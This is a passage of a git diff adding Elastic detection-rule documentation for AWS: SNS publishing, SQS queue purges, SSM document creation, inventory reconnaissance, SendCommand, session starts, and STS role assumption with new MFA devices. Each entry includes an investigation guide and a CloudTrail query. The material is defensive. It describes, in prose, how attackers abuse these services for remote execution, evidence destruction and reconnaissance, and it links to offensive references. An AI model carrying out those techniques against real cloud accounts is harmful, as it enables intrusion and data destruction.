trigger this rule if configured to publish messages to SNS topics. + + +*Response and Remediation* + + +- **Immediate Action**: + - If unauthorized activity is confirmed, disable the access key or IAM role associated with the user. + - Restrict or remove permissions from the SNS topic to prevent further misuse. + +- **Review Policies and Subscriptions**: + - Audit the IAM policies tied to the user and SNS topic to ensure appropriate permissions. + - Validate the subscriptions of the SNS topic to confirm all endpoints are authorized. + +- **Enhance Monitoring and Alerting**: + - Set up additional logging or alerting for SNS publish actions, especially from rare or unknown users. + - Monitor for similar actions across other SNS topics within the environment. + +- **Conduct a Root Cause Analysis**: + - Investigate how the user or role gained access to publish messages to the SNS topic. + - Determine if other AWS resources or services have been affected. + + +*Additional Information* + + +For more information on SNS topic management and securing AWS resources, refer to: +- https://docs.aws.amazon.com/sns/latest/api/API_Publish.html[AWS SNS Publish API Documentation] +- https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference.html[AWS CloudTrail Documentation] + + +==== Setup + + +AWS SNS topic data event types need to be enabled in the CloudTrail trail configuration to capture the Publish action. Ensure that the AWS CloudTrail service is https://docs.aws.amazon.com/sns/latest/dg/logging-using-cloudtrail.html#cloudtrail-data-events[configured] to log data events for SNS. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"aws.cloudtrail" + and event.provider:"sns.amazonaws.com" + and event.action:"Publish" + and event.outcome:"success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Internal Spearphishing +** ID: T1534 +** Reference URL: https://attack.mitre.org/techniques/T1534/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Sub-technique: +** Name: Cloud Service Hijacking +** ID: T1496.004 +** Reference URL: https://attack.mitre.org/techniques/T1496/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sqs-queue-purge.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sqs-queue-purge.asciidoc new file mode 100644 index 0000000000..7193c8c49e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sqs-queue-purge.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-21-aws-sqs-queue-purge]] +=== AWS SQS Queue Purge + +Identifies when an AWS Simple Queue Service (SQS) queue is purged. Purging an SQS queue permanently deletes all messages currently in the queue. Adversaries may use this action to disrupt application workflows, destroy operational data, or impair monitoring and alerting by removing messages that contain evidence of malicious activity. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_PurgeQueue.html +* https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SQS +* Use Case: Threat Detection +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SQS Queue Purge* + + +AWS SQS is a managed message queuing service commonly used to decouple services and buffer events across distributed and serverless architectures. Purging a queue removes all pending messages and cannot be undone. While this may be required for maintenance or testing, adversaries may abuse this action to disrupt operations, delete forensic evidence, or evade detection by removing queued security or audit events. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `access_key_id` to determine who initiated the purge. Confirm whether this identity typically manages SQS resources and whether the action aligns with their role. + +**Review the affected queue** +- Identify the purged queue using `aws.cloudtrail.request_parameters` or `aws.cloudtrail.resources.arn`. Determine the purpose of the queue and whether it supports critical workflows, security tooling, or monitoring pipelines. + +**Evaluate the context of the action** +- Review the `@timestamp` to determine when the purge occurred and whether it aligns with maintenance windows or + deployment activity. +- Examine `source.ip` and `user_agent.original` for anomalies such as unexpected locations, automation tools, or + unfamiliar clients. + +**Correlate related activity** +- Search for other CloudTrail events from the same identity before and after the purge, including IAM changes, credential activity, or additional SQS operations. +- Look for signs of follow-on behavior such as queue deletion, policy updates, or attempts to suppress logging. + +**Validate intent** +- Confirm with the queue owner or application team whether the purge was intentional, approved, and expected. If no clear business justification exists, treat the activity as potentially suspicious. + + +*False positive analysis* + + +- Queue purges performed during routine maintenance, incident recovery, or test resets may be legitimate. +- Automated jobs or cleanup scripts may regularly purge queues as part of normal operation. + + +*Response and remediation* + + +- If the purge was unauthorized, immediately restrict SQS permissions for the affected identity and investigate for credential compromise. +- Assess operational impact and determine whether downstream systems were disrupted or lost critical data. +- Review recent activity to identify any additional attempts to evade detection or disable monitoring. +- Reinforce least-privilege IAM policies to limit which identities can perform `PurgeQueue`. +- Enhance monitoring and alerting for destructive SQS actions, especially in production environments. +- Work with application teams to document approved purge workflows and ensure adequate guardrails are in place. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "sqs.amazonaws.com" + and event.action: "PurgeQueue" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ssm-command-document-created-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ssm-command-document-created-by-rare-user.asciidoc new file mode 100644 index 0000000000..56a432a7a4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ssm-command-document-created-by-rare-user.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-21-aws-ssm-command-document-created-by-rare-user]] +=== AWS SSM Command Document Created by Rare User + +Identifies when an AWS Systems Manager (SSM) command document is created by a user or role who does not typically perform this action. Adversaries may create SSM command documents to execute commands on managed instances, potentially leading to unauthorized access, command and control, data exfiltration and more. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_CreateDocument.html +* https://docs.aws.amazon.com/systems-manager/latest/userguide/documents.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SSM +* Data Source: AWS Systems Manager +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Execution + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SSM Command Document Created by Rare User* + + +This rule identifies when an AWS Systems Manager (SSM) command document is created by a user who does not typically perform this action. Creating SSM command documents can be a legitimate action but may also indicate malicious intent if done by an unusual or compromised user. Adversaries may leverage SSM documents to execute commands on managed instances, potentially leading to unauthorized access, command and control, or data exfiltration. + + +*Possible Investigation Steps* + + +- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` field to identify who created the SSM document. Verify if this user typically creates such documents and has the appropriate permissions. It may be unexpected for certain types of users, like assumed roles or federated users, to perform this action. +- **Analyze the Document Details**: + - **Document Name**: Check the `aws.cloudtrail.request_parameters.name` field for the document name to understand its intended purpose. + - **Document Content**: If possible, review `aws.cloudtrail.request_parameters.content` for any sensitive or unexpected instructions (e.g., actions for data exfiltration or privilege escalation). If not available via logs, consider reviewing the document in the AWS Management Console. +- **Contextualize the Activity with Related Events**: Look for other CloudTrail events involving the same user ARN or IP address (`source.ip`). Examine actions performed in other AWS services, such as IAM, EC2, or S3, to identify if additional suspicious behavior exists. The `SendCommand` API call may indicate attempts to execute the SSM document on managed instances. +- **Check Document Status and Metadata**: + - **Document Status**: Confirm the document creation status in `aws.cloudtrail.response_elements.documentDescription.status`. A status of `Creating` may indicate that the document is in progress. + - **Execution Permissions**: Review if the document specifies `platformTypes` and `documentVersion` in `aws.cloudtrail.response_elements.documentDescription` to understand which environments may be impacted and if multiple versions exist. + + +*False Positive Analysis* + + +- **Authorized Administrative Actions**: Determine if this document creation aligns with scheduled administrative tasks or actions by authorized personnel. +- **Historical User Actions**: Compare this action against historical activities for the user to determine if they have a history of creating similar documents, which may indicate legitimate usage. + + +*Response and Remediation* + + +- **Immediate Document Review and Deletion**: If the document creation is deemed unauthorized, delete the document immediately and check for other similar documents created recently. +- **Enhance Monitoring and Alerts**: Configure additional monitoring for SSM document creation events, especially when associated with untrusted or rare users. +- **Policy Update**: Consider restricting SSM document creation permissions to specific, trusted roles or users to prevent unauthorized document creation. +- **Incident Response**: If the document is confirmed as part of malicious activity, treat this as a security incident. Follow incident response protocols, including containment, investigation, and remediation. + + +*Additional Information* + + +For further guidance on managing and securing AWS Systems Manager in your environment, refer to the https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html[AWS SSM documentation] and AWS security best practices. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ssm.amazonaws.com" + and event.action: "CreateDocument" + and event.outcome: "success" + and aws.cloudtrail.flattened.response_elements.documentDescription.documentType: "Command" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ssm-inventory-reconnaissance-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ssm-inventory-reconnaissance-by-rare-user.asciidoc new file mode 100644 index 0000000000..cd05be6e64 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ssm-inventory-reconnaissance-by-rare-user.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-21-aws-ssm-inventory-reconnaissance-by-rare-user]] +=== AWS SSM Inventory Reconnaissance by Rare User + +Detects the rare occurrence of a user or role accessing AWS Systems Manager (SSM) inventory APIs or running the AWS-GatherSoftwareInventory job. These APIs reveal detailed information about managed EC2 instances including installed software, patch compliance status, and command execution history. Adversaries may use these calls to collect software inventory while blending in with legitimate AWS operations. This is a New Terms rule that detects when a user accesses these reconnaissance APIs for the first time. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud +* https://www.cisa.gov/sites/default/files/2023-11/aa23-320a_scattered_spider_0.pdf +* https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-inventory.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SSM +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SSM Inventory Reconnaissance by Rare User* + + +AWS Systems Manager (SSM) Inventory provides detailed information about managed EC2 instances, including installed +applications, network configurations, OS details, and patch compliance status. Threat actors, including Scattered +Spider (LUCR-3), leverage these APIs to discover targets for lateral movement. + +This rule detects the first time a specific user (identified by `cloud.account.id` and `user.name`) accesses SSM +inventory reconnaissance APIs or runs inventory collection commands. These APIs are typically used by automation +systems, not interactively by humans. + + +*Possible investigation steps* + + +- **Verify User Identity**: Check `aws.cloudtrail.user_identity.arn` or `user.name` to determine who performed the action. + - Is this a service account, automation role, or human user? + - Does this user typically interact with SSM or EC2 infrastructure? +- **Review Source Context**: Examine `source.ip` and `source.geo` to determine where the request originated. + - Does the source IP match expected locations for this user? + - Is the source IP from an EC2 instance (potentially compromised) or an external location? +- **Analyze User Agent**: Check `user_agent.original` for suspicious values. + - AWS CLI, SDK, or CloudShell usage from unexpected users is suspicious. + - Custom or unusual user agents may indicate attacker tooling. +- **Correlate with Other Events**: Look for other reconnaissance or lateral movement activity from the same user. + - Check for `StartSession`, `SendCommand`, or other SSM execution APIs. + - Look for `GetCallerIdentity` calls which often precede reconnaissance. +- **Review Timeline**: Investigate activity 30 minutes before and after this event. + - Was there an initial access event (e.g., console login, `AssumeRole`)? + - Did the user proceed to access secrets or attempt lateral movement? + + +*False positive analysis* + + +- Automation and Monitoring: Legitimate monitoring tools, asset management systems, or compliance scanners may query SSM inventory regularly. These should use dedicated service accounts. +- Administrator Activity: Cloud administrators may occasionally query inventory for troubleshooting. Verify with the user whether this was intentional. +- CI/CD Pipelines: Deployment pipelines may check patch compliance before deployments. +- SSM Associations: The `AWS-GatherSoftwareInventory` document is normally deployed via IaC tools (Terraform, CloudFormation) or the AWS Console during initial setup. Interactive `CreateAssociation` calls outside of these contexts warrant investigation. + + +*Response and remediation* + + +- Immediate Verification: Contact the user to verify whether they performed this action intentionally. +- Review Permissions: If unauthorized, review and restrict the user's IAM permissions following least privilege. +- Investigate Credential Compromise: If the user did not perform this action, treat their credentials as compromised. + - Rotate access keys and session tokens. + - Review recent activity for data exfiltration or privilege escalation. +- Enhanced Monitoring: Add the user or role to enhanced monitoring if suspicious activity is confirmed. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ssm.amazonaws.com" + and ( + event.action: ("GetInventory" or "GetInventorySchema" or "ListInventoryEntries" or "DescribeInstancePatches" or "ListCommands") + or (event.action: "CreateAssociation" + and aws.cloudtrail.request_parameters: *AWS-GatherSoftwareInventory*) + ) + and not aws.cloudtrail.user_identity.type : "AWSService" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ +* Technique: +** Name: Cloud Service Dashboard +** ID: T1538 +** Reference URL: https://attack.mitre.org/techniques/T1538/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ssm-sendcommand-execution-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ssm-sendcommand-execution-by-rare-user.asciidoc new file mode 100644 index 0000000000..c7e88a0f49 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ssm-sendcommand-execution-by-rare-user.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-21-aws-ssm-sendcommand-execution-by-rare-user]] +=== AWS SSM `SendCommand` Execution by Rare User + +Detects the execution of commands or scripts on EC2 instances using AWS Systems Manager (SSM), such as RunShellScript, RunPowerShellScript or custom documents. While legitimate users may employ these commands for management tasks, they can also be exploited by attackers with credentials to establish persistence, install malware, or execute reverse shells for further access to compromised instances. This is a New Terms rule that looks for the first instance of this behavior by a user or role. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-plugins.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SSM +* Data Source: AWS Systems Manager +* Use Case: Log Auditing +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SSM `SendCommand` Execution by Rare User* + + +This rule detects the execution of commands or scripts on EC2 instances using AWS Systems Manager (SSM) by an unexpected or new user. The SSM `SendCommand` action can enable remote command execution, which adversaries may exploit to install backdoors, deploy malware, or interact with compromised instances through reverse shells. + + +*Possible Investigation Steps* + + +- **Identify the Target Instance**: + - **Instance ID**: Review the `aws.cloudtrail.request_parameters` field to identify which EC2 instances were targeted by this command. Confirm if these instances are expected to be managed through SSM. + - **Document Used**: Check the `aws.cloudtrail.request_parameters` field, which specifies the name of the document or script being executed. Commands such as `RunShellScript` or `RunPowerShellScript` can indicate interactive sessions or script-based interactions. + +- **Review User Context**: + - **User Identity**: Inspect the `aws.cloudtrail.user_identity.arn` field to determine the user or role executing the `SendCommand`. If this user is not typically involved in EC2 or SSM interactions, this could indicate unauthorized access. + - **Access Patterns**: Validate whether the user typically has permissions to perform `SendCommand` operations on instances and whether the frequency of this action matches expected behavior. + +- **Analyze Command Parameters**: + - **Document Contents**: While the exact command may not be visible in CloudTrail, use logs to determine the purpose of the script, especially if the document name suggests encryption, data transfer, or reverse shell capabilities. + - **Timing and Context**: Compare this command execution with other recent SSM actions in your environment. A single `SendCommand` event by an unusual user can indicate an early stage of a larger attack. + +- **Check User Agent and Source IP**: + - **User Agent Analysis**: Review the `user_agent.original` field to verify the tool or client used (e.g., `aws-cli`). This can provide insight into whether this action was automated, scripted, or executed manually. + - **Source IP and Geolocation**: Use `source.ip` and `source.geo` fields to check if the IP address and geolocation align with expected regions for your organization. Unusual IP addresses or locations can indicate external adversaries. + +- **Evaluate for Persistence Indicators**: + - **Command Consistency**: Investigate if this action is part of a recurring pattern, such as repeated command executions across instances, which may suggest an attempt to maintain access. + - **Permissions**: Ensure that the IAM policies associated with the user limit `SendCommand` actions to necessary use cases. Consider adding alerts for commands executed by users with minimal roles or permissions. + +- **Correlate with Other CloudTrail Events**: + - **Cross-Reference SSM Actions**: Look for other recent SSM actions like `CreateDocument`, `UpdateDocument`, or additional `SendCommand` events that could indicate preparation for further exploitation. + - **Monitor Data Access or Modification**: Correlate with S3 access patterns, IAM changes, or EC2 modifications in recent events to detect broader malicious activities. + + +*False Positive Analysis* + + +- **Routine Automation**: SSM `SendCommand` may be used by automation scripts or management tools. Verify if this event aligns with known, routine automated workflows. +- **Maintenance Activity**: Confirm if legitimate administrative activities, such as patching or updates, are expected at this time, which may involve similar commands executed on multiple instances. + + +*Response and Remediation* + + +- **Limit SSM Permissions**: If unauthorized, immediately revoke `SendCommand` permissions from the user or role to prevent further access. +- **Quarantine Target Instance**: If malicious behavior is confirmed, isolate the affected EC2 instance(s) to limit lateral movement or data exfiltration. +- **Investigate and Contain User Account**: If the action was performed by a compromised account, review recent activity and reset access credentials as necessary. +- **Audit SSM and IAM Configurations**: Periodically review permissions associated with SSM usage and ensure least privilege access principles are in place. + + +*Additional Information* + + +For further details on managing AWS SSM and security best practices for EC2 instances, refer to the https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-plugins.html[AWS Systems Manager Documentation] and AWS best practices. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ssm.amazonaws.com" + and event.action: "SendCommand" + and event.outcome: "success" + and not source.address: ( + "ssm-guiconnect.amazonaws.com" or + "ssm.amazonaws.com" or + "inspector2.amazonaws.com" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ssm-session-started-to-ec2-instance.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ssm-session-started-to-ec2-instance.asciidoc new file mode 100644 index 0000000000..35b632bd3e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ssm-session-started-to-ec2-instance.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-21-aws-ssm-session-started-to-ec2-instance]] +=== AWS SSM Session Started to EC2 Instance + +Identifies the first occurrence of an AWS user or role establishing a session via SSM to an EC2 instance. Adversaries may use AWS Session Manager to establish a session to an EC2 instance to execute commands on the instance. This can be used to gain access to the instance and perform actions such as privilege escalation. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_StartSession.html +* https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc +* https://unit42.paloaltonetworks.com/cloud-lateral-movement-techniques + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SSM +* Data Source: AWS EC2 +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SSM Session Started to EC2 Instance* + + +This rule detects the first instance of an AWS user or role initiating an SSM session to an EC2 instance, which could be indicative of legitimate administrative activities or potential malicious actions like command execution or lateral movement. + + +*Possible Investigation Steps* + + +- **Examine the Session Start Event**: Review the AWS CloudTrail log for the event. + - Determine the target EC2 instance using `aws.cloudtrail.request_parameters`. +- **Verify User Identity and Role**: Check the user’s ARN and access key ID (`aws.cloudtrail.user_identity.access_key_id`). + - Determine if their role typically requires initiating SSM sessions. +- **Assess Geographic and IP Context**: Analyze the source IP (`source.ip`) and geographic location (`source.geo`) from which the session was initiated. + - Determine if these are consistent with typical user locations or if they raise suspicions of compromise or misuse. +- **Review Session Details**: Examine details like the session ID and stream URL (`aws.cloudtrail.response_elements`) to understand the scope and nature of the session. + - Check if any commands executed during the session were unauthorized or out of ordinary practices. +- **Correlate with Other Security Events**: Look for other related security events around the time of the session start to identify any pattern or broader attack vector that may involve this user or EC2 instance. + + +*False Positive Analysis* + + +- **Legitimate Administrative Activities**: Confirm whether the SSM session was initiated for valid administrative purposes such as system maintenance, patching, or configuration updates. Verify with the respective teams or personnel. + + +*Response and Remediation* + + +- **Incident Response Activation**: If malicious intent or actions are confirmed, activate the incident response protocol. + - This includes containment of the threat, eradication of the adversary’s presence, recovery of affected systems, and a thorough investigation. +- **Validate and Reinforce Security Policies**: Ensure that policies around SSM session initiation are strict and adhere to the principle of least privilege. + - Update IAM policies if necessary to tighten controls. +- **Enhance Monitoring and Alerts**: Improve monitoring of SSM sessions, particularly focusing on sessions that involve sensitive or critical EC2 instances. + - Adjust alerting mechanisms to flag unusual session initiations promptly. + + +*Additional Information* + + +For more in-depth understanding of managing SSM sessions and security best practices, refer to the https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_StartSession.html[AWS Systems Manager documentation]. Additionally, consider the security implications and best practices outlined in https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc[AWS SSM privilege escalation techniques]. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"aws.cloudtrail" and event.provider:"ssm.amazonaws.com" + and event.action:"StartSession" and event.outcome:"success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Cloud Services +** ID: T1021.007 +** Reference URL: https://attack.mitre.org/techniques/T1021/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-assumerole-with-new-mfa-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-assumerole-with-new-mfa-device.asciidoc new file mode 100644 index 0000000000..00058856bf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sts-assumerole-with-new-mfa-device.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-21-aws-sts-assumerole-with-new-mfa-device]] +=== AWS STS AssumeRole with New MFA Device + +Identifies when a user has assumed a role using a new MFA device. Users can assume a role to obtain temporary credentials and access AWS resources using the AssumeRole API of AWS Security Token Service (STS). While a new MFA device is not always indicative of malicious behavior it should be verified as adversaries can use this technique for persistence and privilege escalation. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html +* https://github.com/RhinoSecurityLabs/cloudgoat/blob/d5863b80afd082d853f2e8df1955c6393695a4da/scenarios/iam_privesc_by_key_rotation/README.md + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Persistence +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS AssumeRole with New MFA Device* + + +AWS Security Token Service (STS) allows users to assume roles and gain temporary credentials for accessing AWS resources. This process can involve Multi-Factor Authentication (MFA) for enhanced security. However, adversaries may exploit new MFA devices to maintain persistence or escalate privileges. The detection rule identifies successful role assumptions with new MFA devices, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the event details in AWS CloudTrail to identify the user who assumed the role, focusing on the `user.id` or `aws.cloudtrail.user_identity.arn` field to determine if the user is legitimate and authorized to use the new MFA device. +- Check the serialNumber in `aws.cloudtrail.request_parameters` to verify the registration and legitimacy of the new MFA device associated with the role assumption. +- Investigate the context of the AssumeRole action by examining surrounding events to understand if it was part of a legitimate workflow or an unusual activity. +- Cross-reference with any recent changes in user permissions or MFA device registrations. +- Correlate the event with other logs or alerts to identify any patterns of suspicious behavior, such as multiple role assumptions or changes in MFA devices within a short timeframe. +- Contact the user or relevant team to confirm if the new MFA device registration and role assumption were expected and authorized. + + +*False positive analysis* + + +- New employee onboarding processes may trigger this rule when new MFA devices are issued. To manage this, create exceptions for known onboarding activities by correlating 